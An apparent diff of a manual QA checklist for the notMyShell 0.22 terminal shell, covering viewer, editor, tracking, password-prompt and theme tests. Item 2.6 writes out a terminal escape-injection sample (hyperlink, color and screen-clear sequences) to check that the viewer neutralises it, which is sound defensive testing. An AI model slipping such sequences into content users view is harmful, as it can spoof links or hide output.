Before you start (5 minutes) + +1. **The build is the candidate.** In a plain window: + + ```sh + cd /Volumes/T7Tmp/ai-dev/worktrees/notMyShell/v022-qa + git rev-parse --short HEAD # must equal the commit in #444's latest "Candidate for physical QA" comment + node dist/index.js --version # notMyShell 0.22.0, build <the same commit> + ``` + + Different commits, or `dirty`: stop and report it; do not test. +2. **Fixtures:** `scripts/qa/v022-fixtures.sh /Volumes/T7Tmp/ai-dev/q22` (if it says the folder exists, it is ready). +3. **Launch** from a plain window of the terminal under test: `/Volumes/T7Tmp/ai-dev/q22/nmsh` (zsh), `… nmsh fish`, + `… nmsh bash`, or `… nmsh-noeditor` (VISUAL and EDITOR unset). NMSh opens in `q22/work`; paths below are relative + to it. The welcome banner shows `notMyShell 0.22.0` and `build <commit>`: check it once per sitting. +4. **Report** one line per pass: `Pass A9 · Ghostty 1.3.1 · zsh 5.9: PASS — notes` or `… FAIL — step 5: the word ran`. + A step you skip makes the pass *Not run*, never *Pass*. +5. **If something goes wrong:** a screenshot (Cmd+Shift+4) of the whole window is the most useful evidence; for input + cases add `fc -ln -30` (Bash: `history | tail -30`). Ctrl+C, then `exit`, then relaunch; if a launch offers to resume + a detached session, press R and `exit` it. Reset all fixtures from `v022-qa`: + `rm -rf /Volumes/T7Tmp/ai-dev/q22 && scripts/qa/v022-fixtures.sh /Volumes/T7Tmp/ai-dev/q22`. ## Results -| Pass | Host and version | OS | Shell and version | Commit | Result | Notes | -|---|---|---|---|---|---|---| -| 1 Multi-row progress (#388) | Ghostty | macOS | zsh | | Not run | | -| 1 Multi-row progress (#388) | Terminal.app | macOS | Fish | | Not run | | -| 2 `/view` | Ghostty | macOS | zsh | | Not run | | -| 2 `/view` | Terminal.app | macOS | zsh | | Not run | | -| 3 `/edit` | Ghostty | macOS | zsh | | Not run | | -| 3 `/edit` | Terminal.app | macOS | Fish | | Not run | | -| 4 Semantic Output | Ghostty | macOS | zsh | | Not run | | -| 5 `/track` | Ghostty | macOS | zsh | | Not run | | -| 5 `/track` | Terminal.app | macOS | Fish | | Not run | | -| 6 Modules | Ghostty | macOS | zsh | | Not run | | -| 7 Themes | Ghostty | macOS | zsh | | Not run | | -| 7 Themes | Terminal.app | macOS | zsh | | Not run | | -| 8 History browsing (#389) | Ghostty | macOS | zsh | | Not run | | -| 8 History browsing (#389) | Terminal.app | macOS | Fish | | Not run | | -| 9 Passwords and replies (#426) | Ghostty | macOS | zsh | | Not run | | -| 9 Passwords and replies (#426) | Terminal.app | macOS | Fish | | Not run | | -| 9 Passwords and replies (#426) | Terminal.app | macOS | Bash | | Not run | | -| 10 Prompt hooks and Ctrl+C (#436) | Ghostty | macOS | zsh | | Not run | | -| 10 Prompt hooks and Ctrl+C (#436) | Terminal.app | macOS | Fish | | Not run | | -| 10 Prompt hooks and Ctrl+C (#436) | Terminal.app | macOS | Bash | | Not run | | -| 11 Editors (#366) | Ghostty | macOS | zsh | | Not run | | -| 11 Editors (#366) | Zed or VS Code terminal | macOS | zsh | | Not run | 11.6, 11.11 | -| 12 Ask command suggestions (#432) | Ghostty | macOS | zsh | | Not run | | -| 13 Session lifecycle | Ghostty | macOS | zsh | | Not run | | -| Z Supplementary | Zed | macOS | zsh | | Not run | not a release gate | - -Not available on the QA Mac, with the coverage that exists instead: 1.5b (`apt` progress; Linux only: parser and live -PTY tests, Ubuntu and Fedora CI), 4.3 `cargo build` (not installed; Rust diagnostics recognizer tests), 6.2 -(`nix-shell`; the module reads only `IN_NIX_SHELL`, unit-tested), 6.3 inside a container (marker files and host -variables, unit-tested; the host half is checked here). Each stays *Not run* in the table, never *Pass*. - -## Walkthrough - -Three sittings, about two and a half hours in all, plus a short Zed check. Every command below is typed in NMSh unless it says -"second tab". - -**Prepare once.** In a plain terminal window (not inside NMSh): - -```sh -cd /Volumes/T7Tmp/ai-dev/worktrees/notMyShell/v022-qa # the release candidate build -node dist/index.js --version # record version and build commit -scripts/qa/v022-fixtures.sh /Volumes/T7Tmp/ai-dev/q22 -``` - -Each sitting starts from a plain window: `/Volumes/T7Tmp/ai-dev/q22/nmsh` (zsh), `… nmsh fish` or `… nmsh bash`. NMSh -opens in `q22/work`; paths below are relative to it. Quit with `exit`. If a launch offers to resume a detached -session, press R and `exit` it. - -**Reporting.** One line per pass, for example `Pass 9 · Ghostty 1.3.1 · zsh 5.9: PASS` or `Pass 9: FAIL 9.4 (the -second password ran)`; a screenshot helps. Each result is recorded in the table with the build commit. A skipped item -is *Not run*. - -### Sitting A: Ghostty, zsh (passes 1–13, about 85 minutes) - -Passes 1–7 are v0.21's, unchanged: - -1. **Progress.** 1.1 as listed, then at 40 columns. 1.2 `node progress/multirow.mjs`: two `layer` rows count up in - place; `LOG pulling two layers`, `LOG checkpoint 1`–`4` and `LOG done` all stay, in order. 1.3 `node - progress/multirow.mjs 120` (30 s) while you resize. 1.4 `/copy`, then `pbpaste`: the final rows once. 1.5 as listed. - 1.5a at 40 columns `node progress/wrapped.mjs`: both `LOG kept line` lines and `LOG done` stay, with one `Downloading - … 100%` and one `eta 0s`. 1.6 `vim view/tabs.txt`, `less view/README.md`, `top` (htop is not installed). 1.7 `sleep - 5`, then `ls` Ctrl+Q and `pwd` Ctrl+Q while it runs. -2. **`/view`.** 2.1 `/view view/README.md`. 2.2 `/view view/ViewerPanel.ts`. 2.3 in either. 2.4 as listed. 2.5 `/view - view/tabs.txt`, `c`, Esc, `pbpaste | cat -vet`: `^I` between columns, `$` only at line ends. 2.6 `/view - view/hostile.txt`. 2.7 `/view view/folder`, `view/missing.txt`, `/dev/zero`, `view/fifo` (returns at once), - `/bin/ls`, `view/big.log` (20 MB: the first 8 MiB with a note). 2.8 as listed, with `node progress/multirow.mjs 120` - running. 2.9 in step 14. -3. **`/edit`.** 3.1 `cd edit/empty`, then as listed, with `cat -vet notes.txt` (macOS `cat` has no `-A`): `^I` and a - final `$`. 3.2–3.4 on that file. 3.5 second tab: `echo x >> /Volumes/T7Tmp/ai-dev/q22/work/edit/empty/notes.txt`. - `cd ../..`. 3.6 `/edit edit/crlf-bom.txt`, change a word, save; `xxd edit/crlf-bom.txt | head -1` starts `efbb bf` - and lines end `0d0a`. `/edit edit/mode640.txt`, save, `ls -l edit/mode640.txt` is `-rw-r-----`. `/edit - edit/link.txt`, save, `ls -l edit/link.txt` still points to `target.txt`. 3.7 `/edit /bin/ls`, `/etc/hosts`, - `edit/big.txt` (2 MB), `edit/readonly.txt`, then `/view` each. 3.8 with `view/README.md` and `edit/target.txt`. - 3.9 `/edit edit/alias/new.txt` (`alias` links to `real`). -4. **Semantic Output.** 4.1 `cd semantic/pass && npm test` (40 passing tests stand in for a large suite). 4.2 `cd - ../fail && npm test` (2 failing). 4.3 `cd ../ts && npx --no-install tsc --noEmit bad.ts` (2 errors); `cd ../c && - make` (1 error). 4.4 `cd ../../git && git status`, `ls`, `cat tracked.txt`. 4.5 `cd ../semantic/fail && npm test`, - then as listed, with `pbpaste` after each copy. 4.6 as listed. 4.7 in step 14. `cd ../..` when done. -5. **`/track`.** 5.1 `/track df -h`; `/track --every 5s -- docker system df` is optional (read-only, but it asks your - Docker daemon every 5 s). 5.2 `/track --every 2s -- cat track/f.txt`; second tab: `seq 1 2 > - /Volumes/T7Tmp/ai-dev/q22/work/track/f.txt`, then `seq 1 40 > …`. 5.3–5.7 as listed (5.7's `/tmp/t` commands are - refused and never run; answer No to the ones that ask). 5.8 `/track --every 3s -- sh -c 'sleep 2; echo QA-TRACK'` - (Yes), close the window while it runs, then in a new window `pgrep -fl QA-TRACK` prints nothing. 5.9 and 5.10 as - listed. 5.11 in step 14. -6. **Modules.** 6.1 `cd modules/bun-app`, `/modules`: Bun is recommended; enabled, typing `bun` shows `1.1.30` - requested (Bun is not installed, so nothing active). 6.2 Not run (no Nix). 6.3 on this Mac the container module shows - nothing; the in-container half is Not run. 6.4 and 6.5 as listed. `cd ../..`. -7. **Themes.** 7.1–7.3 as listed. 7.4 in step 14. 7.5 second tab, before and after switching themes: `shasum - "$HOME/Library/Application Support/com.mitchellh.ghostty/config"*`: unchanged. Older configuration: `exit`, then in - a plain window `mkdir -p /Volumes/T7Tmp/ai-dev/q22/config-copy/nmsh && cp "$HOME/Library/Application - Support/notMyShell/config.json" /Volumes/T7Tmp/ai-dev/q22/config-copy/nmsh/` and `/Volumes/T7Tmp/ai-dev/q22/nmsh - copy`: the theme and prompt saved by your v0.20 install load unchanged (only the copy can change). `exit` and - relaunch `/Volumes/T7Tmp/ai-dev/q22/nmsh` for the rest. - -Passes 8–13 are v0.22's: - -8. **History.** 8.1–8.6 as listed. -9. **Passwords and replies.** 9.1–9.11 as listed, from `q22/work`; 9.5 needs a second window with a heavy job. -10. **Prompt hooks and Ctrl+C.** 10.1–10.3 as listed. -11. **Editors.** 11.1–11.4 as listed (with `EDITOR` set as usual). Then `exit` and relaunch as - `/Volumes/T7Tmp/ai-dev/q22/nmsh-noeditor` for 11.5 and 11.8–11.10. 11.6 and 11.11 are in the Zed sitting. -12. **Ask.** 12.1–12.6 as listed (the model takes about 1 GB of memory while it runs; `/llm` can stop it). -13. **Session lifecycle.** 13.1–13.3 as listed. -14. **No color and Safe glyphs** (2.9, 4.7, 5.11, 7.4). `exit`, relaunch as `NO_COLOR=1 /Volumes/T7Tmp/ai-dev/q22/nmsh`, - Settings → Appearance → Safe glyphs, then 2.9 on `view/README.md`, 4.7 with `cd semantic/fail && npm test` at 40 - columns (`cd ../..` after), 5.11 with `/track df -h`, and 8.1 (the History position stays readable). Then 7.4's - second half: `exit`, relaunch as `env -u COLORTERM TERM=xterm-256color /Volumes/T7Tmp/ai-dev/q22/nmsh` and switch - between two new themes. - -### Sitting B: Terminal.app, Fish (passes 1, 3, 5, 8, 9 and 10, about 35 minutes) - -`/Volumes/T7Tmp/ai-dev/q22/nmsh fish`, then 1.1–1.7 (not 1.5b), 3.1–3.9, 5.1–5.10, 8.1–8.6, 9.1–9.7 (Fish forms are -given) and 10.1–10.3 as in sitting A, and 5.11 with `NO_COLOR=1 /Volumes/T7Tmp/ai-dev/q22/nmsh fish` as in step 14. -Terminal.app is a 256-color terminal: note anything that reads differently from Ghostty. - -### Sitting C: Terminal.app, zsh then Bash (passes 2, 7, 9 and 10, about 30 minutes) - -`/Volumes/T7Tmp/ai-dev/q22/nmsh`, then 2.1–2.8 and 7.1–7.5 as in sitting A, and 2.9 and 7.4 as in step 14. Then `exit`, -`/Volumes/T7Tmp/ai-dev/q22/nmsh bash`, 9.1–9.11 (in 9.11 use `history | tail -10`) and 10.1–10.3. - -### Zed (about 15 minutes) - -In Zed's terminal: `/Volumes/T7Tmp/ai-dev/q22/nmsh`, then 11.6 and 11.11 (the 11 row: Zed opens the file itself). The -rest is supplementary coverage, not a release gate (the Z row): 1.2, 2.1 and 2.3 (wheel scrolling), 3.1–3.2 (note any -key Zed keeps for itself, such as Cmd+Shift+arrows), 5.1 and `/track stop`, 8.1, and one theme switch. +| Pass | Terminal | Shell | Commit | Result | Notes | +|---|---|---|---|---|---| +| A1 Progress (#388) | Ghostty | zsh | | Not run | | +| A2 `/view` | Ghostty | zsh | | Not run | | +| A3 `/edit` | Ghostty | zsh | | Not run | | +| A4 Semantic Output | Ghostty | zsh | | Not run | | +| A5 `/track` | Ghostty | zsh | | Not run | | +| A6 Modules | Ghostty | zsh | | Not run | | +| A7 Themes | Ghostty | zsh | | Not run | | +| A8 History (#389) | Ghostty | zsh | | Not run | | +| A9 Passwords and replies (#426) | Ghostty | zsh | | Not run | | +| A10 Prompt hooks and Ctrl+C (#436) | Ghostty | zsh | | Not run | | +| A11 Editors (#366) | Ghostty | zsh | | Not run | | +| A12 Ask suggestions (#432) | Ghostty | zsh | | Not run | memory check first | +| A13 Session lifecycle | Ghostty | zsh | | Not run | | +| A14 No color and Safe glyphs | Ghostty | zsh | | Not run | | +| B1 Progress | Terminal.app | Fish | | Not run | | +| B3 `/edit` keys | Terminal.app | Fish | | Not run | | +| B5 `/track` cleanup | Terminal.app | Fish | | Not run | | +| B8 History | Terminal.app | Fish | | Not run | | +| B9 Passwords and replies | Terminal.app | Fish | | Not run | | +| B10 Prompt hooks and Ctrl+C | Terminal.app | Fish | | Not run | | +| C2 `/view` rendering | Terminal.app | zsh | | Not run | | +| C7 Themes, 256 colors | Terminal.app | zsh | | Not run | | +| C9 Passwords and replies | Terminal.app | Bash | | Not run | | +| C10 Prompt hooks and Ctrl+C | Terminal.app | Bash | | Not run | | +| D11 Editor bridge | Zed | zsh | | Not run | required | +| Z Supplementary | Zed | zsh | | Not run | not a release gate | + +## Sitting A: Ghostty, zsh (about 80 minutes; a break fits after A7) + +Launch `/Volumes/T7Tmp/ai-dev/q22/nmsh`. + +### A1 · Multi-row progress (#388), 6 min +1. `node -e 'for (let i=0;i<=10;i++){process.stdout.write((i?"\x1b[1A\x1b[2K":"")+"Downloading "+i*10+"%\n")}'` + leaves one `Downloading 100%` line. Narrow the window to about 40 columns and run it again: the same. +2. `node progress/multirow.mjs`: two `layer` rows count up in place; `LOG pulling two layers`, `LOG checkpoint 1`–`4` + and `LOG done` all stay, in order. +3. `node progress/multirow.mjs 120` (30 s): drag the window narrower and wider while it runs. No earlier command, prompt + or NMSh note is erased. +4. `/copy`, then `pbpaste`: the final rows once, not every frame. +5. At about 40 columns, `node progress/wrapped.mjs`: both `LOG kept line` lines and `LOG done` stay, with one + `Downloading … 100%` and one `eta 0s`. `printf '10%%\r20%%\r100%%\n'`: one `100%`. `clear` clears. +6. `vim view/tabs.txt` (`:q`), `less view/README.md` (`q`), `top` (`q`): each takes the full screen and returns to the + composer. +7. `sleep 5`, and while it runs `ls` Ctrl+Q, `pwd` Ctrl+Q: both queued lines end in the known-command color (#408) and + run after `sleep`. + +**PASS** if every step reads as described. **FAIL** on a repeated frame line, an erased line or a wrong color. + +### A2 · `/view`, 6 min +1. `/view view/README.md`: Markdown rendered (headings, lists, code, tables); `m` shows the source with line numbers, `m` + again returns. +2. `/view view/ViewerPanel.ts`: syntax colors and line numbers; `w` turns wrapping off and Left/Right scroll sideways with + `‹`/`›` marks; `l` hides the numbers. +3. In it: `/` then `export` (lowercase ignores case), `n`/`N` step and wrap with a note; `:` `100` Enter; `G` and `g`; + PageUp/PageDown; the mouse wheel scrolls. Esc. +4. `/view view/hostile.txt`: `␛` marks; no color change, no link, no screen clear. +5. `node progress/multirow.mjs 120`, and while it runs `/view view/README.md`, then Esc: the composer is as it was and the + command's output kept arriving underneath. Narrow the window to about 32×10 with the viewer open: it still fits and + shows Esc. + +**PASS** if all hold. **FAIL** on a garbled frame, an escape sequence acted on, or a lost composer draft. + +### A3 · `/edit`, 8 min +1. `cd edit/empty`, `/edit notes.txt`: it says *new file*. Type two lines (Enter between) with a Tab in one; Ctrl+S says + *Saved*; Esc returns to the composer. `cat -vet notes.txt`: `^I` and a final `$`. +2. `/edit notes.txt`: Shift+arrows, Shift+Alt+arrows and Cmd+Shift+arrows select; typing replaces the selection; Ctrl+C + copies, Ctrl+X cuts (Cmd+V pastes it back); Ctrl+Z undoes a typed word in one step, Ctrl+Y redoes; Ctrl+F finds, + Enter goes to the next match. +3. Change a word, Esc: Save, Discard changes and Keep editing each do what they say. +4. `/edit notes.txt`, change a word; in a second tab `echo x >> /Volumes/T7Tmp/ai-dev/q22/work/edit/empty/notes.txt`; + back in NMSh Ctrl+S: nothing is written until you choose; Overwrite writes yours. Repeat with Reload: theirs shows. +5. `cd ../..`, `/view view/README.md`, `e`: the editor opens the same file; Esc. `vim edit/target.txt` runs as usual. + +**PASS** if all hold. **FAIL** on a lost edit, a silent overwrite, or a key that does something else. + +### A4 · Semantic Output, 5 min +1. `cd semantic/pass && npm test`: one overview row (`✔ node --test · 40 passed · 0 failed …`) above the folded output. +2. `cd ../fail && npm test`: the overview says 2 failed and a details row lists them; details are open while the output + is folded; clicking the row and Actions → Show or hide details toggle it; Ctrl+O folds only the raw output. +3. `cd ../ts && npx --no-install tsc --noEmit bad.ts`: `TypeScript · 2 errors` with `file:line:col` items. +4. `cd ../fail && npm test`, then `/copy --semantic`, `/copy --both` and `/copy latest`, with `pbpaste` after each: the + reading, raw plus reading under NMSh separators, raw only. Ctrl+F `failed` never matches the overview row. +5. Settings → Transcript → Semantic Output Off: the rows disappear from every block; On brings them back. `cd ../..`. + +### A5 · `/track`, 8 min +1. `/track df -h`: one block, a status row (`live · every …`) and the result, updated in place while you run `ls`; + scrolling and selecting text in other blocks is not disturbed. +2. `/track --every 2s -- cat track/f.txt`; second tab: `seq 1 2 > /Volumes/T7Tmp/ai-dev/q22/work/track/f.txt`, then + `seq 1 40 > …`: a shorter result does not move what is below; a longer one says how many lines are not shown. +3. `/track stop all`: each last result appears once. `/track env ls` asks first: answer No. +4. `/track --every 3s -- sh -c 'sleep 2; echo QA-TRACK'` (Yes), then close the window (Cmd+W) while it runs. In a new + plain window `pgrep -fl QA-TRACK` prints nothing. Relaunch NMSh. +5. `/track --every 2s -- sh -c 'trap "" TERM; exec >/dev/null 2>&1; exec sleep 300'` (Yes), `/track stop`; within 3 s a + second tab's `pgrep -f "sleep 300"` prints nothing. +6. `/track ls`, `/track df -h`, `/track cat track/f.txt`, `/track ls missing`: the composer area shows + `4 trackers · 1 failing`; narrow to about 60 columns and back: every block stays readable. `/track stop all`. + +**FAIL** on a block that grows per refresh, a process left running, or an unreadable block. + +### A6 · Modules, 4 min +1. `cd modules/bun-app`, `/modules`: Bun is recommended; enable it; typing `bun` shows `1.1.30` requested. +2. `/modules explain` lists every configured module with its surface and reason; `/modules timings` lists the slowest + collections; the Status Strip CPU stays as it was. +3. Route three modules to the Context Rail (Modules → Surface), narrow the window until one disappears, `/modules + explain`: it says "left out for width in the last frame"; widen and run it again: the note is gone. `cd ../..`. + +### A7 · Themes, 6 min +1. `/theme`: the Built-in list shows Ayu, Kanagawa, Everforest, Flexoki and Night Owl; `/` `kanagawa` leaves three; `/` + `light` leaves the light variants; Esc clears the filter, Esc again closes. +2. Activate each new variant: prompt fills, branch, status, selection band, transcript chrome and module text stay + readable on this dark terminal; the light variants stay readable too. +3. Second tab, before and after switching: `shasum "$HOME/Library/Application Support/com.mitchellh.ghostty/config"*` is + unchanged. +4. `exit`; in a plain window `mkdir -p /Volumes/T7Tmp/ai-dev/q22/config-copy/nmsh && cp "$HOME/Library/Application + Support/notMyShell/config.json" /Volumes/T7Tmp/ai-dev/q22/config-copy/nmsh/`, then `/Volumes/T7Tmp/ai-dev/q22/nmsh + copy`: your v0.20 theme and prompt load unchanged (only the copy can change). `exit`, relaunch + `/Volumes/T7Tmp/ai-dev/q22/nmsh`. + +### A8 · History (#389), 4 min +Run `echo one`, a two-line command (`echo two` Ctrl+J `echo three`, Enter) and `echo four`. +1. From an empty composer, Up recalls `echo four`; each further Up moves one command, the two-line one in a single + press; Down comes back the same way; Down past the newest restores what you had typed. +2. While stepping, the bottom composer rule shows `History 1/N`, counting up as you go back, in a subtle color. It + disappears when you type, move the caret or go past the newest. No row is added and nothing moves. +3. Recall the two-line command, press Left, then Up: the caret moves within it. +4. `/awake` on: Keep Awake keeps its place; the position uses the other rule or is not shown. At about 30 columns no + position appears and nothing wraps. `/awake` off. +5. `sleep 10`, then Up: history recalls into the composer for the next command, never into `sleep`. + +### A9 · Passwords and replies (#426), 12 min +Replies are made-up words, never a real password (only step 8 uses yours). `≡ 1 queued` is the queue's count. + +1. `read -r reply; echo got=$reply`: type `hello` and Enter **at once**: `got=hello`; `≡` never appears. Again after a + 2 s pause: the same. +2. `read -rs reply` (no prompt): type `QSECRETQ` and Enter at once: nothing appears, nothing is queued, the command ends. +3. `sleep 5`, then type `echo next` and Enter at once: `≡ 1 queued`; it runs after `sleep`. +4. `sh input/prompted.sh`: `QA password:`; typing shows nothing; Enter prints `got N characters`. Type `echo after` and + Enter at once: it runs once. +5. **Typed before the prompt, as with `sudo`:** `sh input/delayed-prompt.sh`, and within 2 s, before `QA-Password:` + appears, type `QSECRETQ` (no Enter). When the prompt appears, the composer empties: the word is not sent as the + answer. Type `answer` and Enter: `got 6 characters`. When the command ends, the composer reads `Typed during sh's + hidden input · held, not run · Tab shows it · Esc discards it`. Press Enter: nothing runs. Press Ctrl+Q, then Tab: + `QSECRETQ` appears in the composer, unsent, and `≡` does not appear. Delete it (Ctrl+U). +6. The same with Enter: `sh input/delayed-prompt.sh`, type `QSECRETQ` and Enter before the prompt. Nothing asks yet, so + it is queued (`≡ 1 queued`), as anything entered then is. When the prompt appears, a note says the command queued + while it ran waits for your approval, and the prompt is not answered with an empty line. Answer with `answer`: + `got 6 characters`; the queued entry does not run. `/queue`: delete it. (If the Enter was still being checked when + the prompt appeared, the word is held at the prompt instead: Esc says it was discarded, not sent or run.) +7. `bash input/two-passwords.sh`: type `X` and Enter as soon as it starts; during its 3 s pause type a second word and + Enter. That word is shown and queued (NMSh cannot know yet). When the second read starts, a note says the command + queued while it ran waits for your approval. Type the second word again and Enter: `lengths 1/…`; the queued entry + does not run. `/queue`: delete it. +8. `sudo -k true`: your password never appears on screen or in the queue; a wrong password and the retry behave the + same; Ctrl+C at the prompt returns to the composer with nothing queued. +9. **Under load** (optional, valuable): in a second tab start four CPU burners, `yes >/dev/null & yes >/dev/null & yes + >/dev/null & yes >/dev/null &` (CPU only, no memory). Repeat steps 1 and 2 a few times. The composer may say + `Checking whether … · your typing is kept`; the answer still reaches the read. If `hello` is ever queued, NMSh must + then say it waits for your approval, and it must not run after the command; note how often. Stop the burners in + that tab: `kill %1 %2 %3 %4`. +10. `fc -ln -30`: none of the words typed as replies appear, only the commands you ran. + +**PASS** if no reply or password word is ever shown after its question appeared, queued without a note, run, or in +history (step 10). **FAIL** with a screenshot and `fc -ln -30`. + +### A10 · Prompt hooks and Ctrl+C (#436), 4 min +1. `sleep 30`, Ctrl+C, then at once `echo after` and Enter: `after` once, as its own command. +2. `read -r x`, Ctrl+C, then at once `echo after` and Enter: the same. +3. `source input/slow-hook.zsh`. Run `true`, and before the prompt returns (2 s) type `echo after` and Enter: it runs + once, whole (never `cho after` or `command not found`), and NMSh never says `true` is waiting for input. Three + times. Undo: `precmd_functions=(${precmd_functions:#qa_slow_hook})`. + +### A11 · Editors (#366), 8 min +1. With your usual `EDITOR` (a terminal editor such as `nvim` or `vim`): `/view view/notes.txt`, `:200` Enter, `o`. The + viewer closes and the composer holds `nvim +200 /…/notes.txt` (nothing runs); Enter opens it at line 200; quitting + returns to NMSh. With a GUI editor or none set, note what `o` does instead. +2. `sleep 20`, then `/view view/notes.txt`, `o`: the command is placed in the composer; Enter queues it (`≡ 1 queued`) + and the editor opens after `sleep`. +3. `printf 'x\n' > 'my notes.txt'`, `/view my notes.txt` (no quotes), `o`: the command quotes the path as one argument. +4. `exit`, relaunch with `/Volumes/T7Tmp/ai-dev/q22/nmsh-noeditor`: `/view view/notes.txt`, `o` says no editor is known + and how to set one; `/open view/notes.txt:3` names the terminal editors installed here. +5. Settings → Sessions → Terminal editor: Neovim, Helix, Micro, Vim, nano, Emacs and Kakoune, installed ones marked; the + highlighted one previews its exact command; one that is not installed is refused. Choose an installed one (this + changes only the QA configuration). +6. `/open view/notes.txt:3:2`: that editor's command at the line (and column where it supports one), unsent; Enter opens + it; quitting returns. `/view view/notes.txt`, `o`: the chosen editor is used. `exit`, relaunch + `/Volumes/T7Tmp/ai-dev/q22/nmsh`. + +### A12 · Ask command suggestions (#432), 8 min +0. **Memory first.** In a plain window: `memory_pressure | tail -1`. Below 35% free, or with other heavy apps open, do + not load the model: report `Pass A12 · Ghostty · zsh: NOT RUN — memory N%` (incomplete, not passed). +1. Settings → Ask → Command suggestions is Off. `/btw convert every png here to webp` behaves as before: no model asked. +2. `/llm`: set up the model already in `~/.local/share/nmsh/models` (about 1 GB while loaded). Then Command suggestions + → Local model. +3. `/btw convert every png here to webp`: one suggested command with `NMSh's check: …` first, then the model's words in + quotes with its name; Copy and Insert, never Run. +4. Insert puts it in the composer, unsent (Esc clears it); Copy only fills the clipboard. +5. `/btw delete all my files` stays a refusal; no suggestion. +6. `/llm` → local understanding Off: the suggestion attempt says how to turn it on; Ask's own suggestions still appear. +7. Activity Monitor: no new long-lived process beyond the model service. Finish with `/llm` → Stop model. + +### A13 · Session lifecycle, 5 min +1. `sleep 60`, close the window, launch the QA build again: it offers the detached session; R resumes it with `sleep` + still running and its block intact; Ctrl+C ends it. +2. `/track --every 2s -- sh -c 'echo QA-LIFE'` (Yes), `exit`: in a plain window `pgrep -fl QA-LIFE` prints nothing. +3. Two windows on two sessions of the QA build: typing, queues and held typing in one never appear in the other. + +### A14 · No color and Safe glyphs, 5 min +1. `exit`, relaunch as `NO_COLOR=1 /Volumes/T7Tmp/ai-dev/q22/nmsh`; Settings → Appearance → Safe glyphs. +2. `/view view/README.md`, `/` a word: matches and the current match stay visible (reverse video). +3. At about 40 columns `cd semantic/fail && npm test`: the overview reads `+`/`x` and stays readable. `cd ../..`. +4. `/track df -h`: the status marks are ASCII (`*`, `=`, `#`) and say live, paused or stopped in words. `/track stop`. +5. Up through history: the `History n/N` position stays readable. +6. `exit`, relaunch as `env -u COLORTERM TERM=xterm-256color /Volumes/T7Tmp/ai-dev/q22/nmsh` and switch between two new + themes: nothing breaks. + +## Sitting B: Terminal.app, Fish (about 20 minutes) + +Launch `/Volumes/T7Tmp/ai-dev/q22/nmsh fish`. Only what depends on the terminal or on Fish; Terminal.app is a +256-color terminal, so note anything that reads differently from Ghostty. + +- **B1** A1 steps 2, 3, 5 and 6. +- **B3** A3 steps 1–3 (Terminal.app may keep Cmd+Shift+arrows for itself: note it). +- **B5** A5 steps 1, 4 and 5 (process cleanup under Fish). +- **B8** A8 steps 1–3. +- **B9** A9 steps 1, 2, 4, 5, 6 and 8 in Fish forms: `read reply; echo got=$reply` for step 1, `read --silent reply` for + step 2. Then `history | head -30`: no reply word. +- **B10** A10 steps 1 and 2 (`read x`), and step 3 with `function qa_slow --on-event fish_prompt; sleep 2; end`; undo + with `functions -e qa_slow`. + +## Sitting C: Terminal.app, zsh then Bash (about 20 minutes) + +`/Volumes/T7Tmp/ai-dev/q22/nmsh`: +- **C2** A2 steps 1–3 and 5. +- **C7** A7 steps 1 and 2, and A14 step 6. + +Then `exit` and `/Volumes/T7Tmp/ai-dev/q22/nmsh bash`: +- **C9** A9 steps 1–8, then `history | tail -30`: no reply word. +- **C10** A10 steps 1 and 2, and step 3 with `source input/slow-hook.bash` (Bash 5.1+; start a new session to undo it). + +## Sitting D: Zed (about 10 minutes) + +In Zed's integrated terminal: `/Volumes/T7Tmp/ai-dev/q22/nmsh`. +- **D11 (required).** `/view view/notes.txt`, `:200` Enter, `o`: Zed opens `notes.txt` at line 200 and the viewer + stays. With a terminal editor chosen in A11.5, `o` inside Zed still opens Zed. +- **Z (supplementary, not a release gate).** A1 step 2, A2 steps 1 and 3 (wheel scrolling), A3 step 2 (note keys Zed + keeps for itself), A5 step 1 and `/track stop`, A8 step 1, and one theme switch. When every result is recorded: `rm -rf /Volumes/T7Tmp/ai-dev/q22`. - -## 1. Multi-row progress redraws (#388) - -- [ ] 1.1 `node -e 'for (let i=0;i<=10;i++){process.stdout.write((i?"\x1b[1A\x1b[2K":"")+"Downloading "+i*10+"%\n")}'` - leaves one `Downloading 100%` line, at 80 columns and at 40 columns. -- [ ] 1.2 A two-row display (for example `docker pull` of a multi-layer image, or `brew install` of a formula with - concurrent downloads) updates its rows in place; log lines printed between frames all stay. Record the command. -- [ ] 1.3 Resize the window narrower and wider while 1.2 runs: no earlier command, prompt or NMSh notice is erased. -- [ ] 1.4 `/copy` of that block copies the final rows once, not every frame. -- [ ] 1.5 `printf '10%%\r20%%\r100%%\n'` still shows one `100%` line; `clear` still clears. -- [ ] 1.5a At 40 columns, a progress display whose line is wider than the window (for example `pip install` of a - large wheel, `cargo build` of a crate with a long name, or the wrapped-row fixture in `tests/ansiLiveRegion.test.ts`) - redraws in place and every log line printed before it stays. -- [ ] 1.5b On Linux, `sudo apt install <small package>` (fancy progress on): the transcript keeps the dpkg log lines and - contains no `Progress: [ nn%]` fragments. -- [ ] 1.6 `vim`, `less` and `htop` still take the full screen and return to the composer. -- [ ] 1.7 Queue two quick commands (`ls` then `pwd`) with Ctrl+Q while a short command runs: both stored command - lines end with the known-command color (#408). - -## 2. Native viewer (`/view`, View output) - -- [ ] 2.1 `/view README.md` in the NMSh checkout: Markdown is rendered (headings, lists, code, tables); `m` shows the - source with line numbers; `m` again returns. -- [ ] 2.2 `/view src/viewer/ViewerPanel.ts`: syntax colors, line numbers, `w` turns wrapping off and Left/Right scroll - sideways with `‹`/`›` marks, `l` hides numbers. -- [ ] 2.3 `/` finds text (lowercase ignores case), `n`/`N` step and wrap with a note, `:` + number goes to a line, - `G`/`g` end and start, PageUp/PageDown, mouse wheel scrolls. -- [ ] 2.4 Run `seq 1 5000`, then `/view` (latest output) and Actions → View output on that block; `/view 2` opens the - previous output. The transcript is unchanged after closing. -- [ ] 2.5 `c` copies the whole document; the clipboard has the exact text (tabs kept), and nothing else. -- [ ] 2.6 Hostile content: `printf '\033]8;;https://example.com\a\033[31mred\033[2J\n' > /tmp/h.txt && /view /tmp/h.txt` - shows `␛` marks, no color change, no link, no screen clear. -- [ ] 2.7 Refusals say why: a directory, a missing file, `/dev/zero`, a FIFO (`mkfifo /tmp/f && /view /tmp/f` returns - at once), a binary (`/view /bin/ls`), a 20 MB log (shows the first 8 MiB with a note). -- [ ] 2.8 Esc closes, the composer draft and cursor are where they were, and a running command's output kept - arriving underneath. At 32×10 the viewer still fits and Esc is shown. -- [ ] 2.9 `NO_COLOR=1` and Safe glyphs: matches and the current match are still visible (reverse video). - -## 3. Native editor (`/edit`) - -- [ ] 3.1 `/edit notes.txt` in an empty folder: it says 